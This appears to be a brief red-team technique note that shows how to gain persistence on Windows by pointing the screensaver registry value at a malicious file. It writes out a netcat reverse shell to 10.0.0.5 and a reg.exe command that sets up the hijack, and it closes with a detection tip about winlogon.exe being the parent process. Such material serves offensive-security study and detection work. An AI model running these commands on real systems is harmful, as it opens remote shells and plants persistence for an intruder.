| description | Hijacking screensaver for persistence. |
|---|
To achieve persistence, the attacker can modify SCRNSAVE.EXE value in the registry HKCU\Control Panel\Desktop\ and change its data to point to any malicious file.
In this test, I will use a netcat reverse shell as my malicious payload:
C:\tools\nc.exe 10.0.0.5 443 -e cmd.exeLet's update the registry:
The same could be achieved using a native Windows binary reg.exe:
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\shell.cmd
Note the process ancestry on the victim system - the reverse shell process traces back to winlogon.exe as the parent process, which is responsible for managing user logons/logoffs. This is highly suspect and should warrant a further investigation:
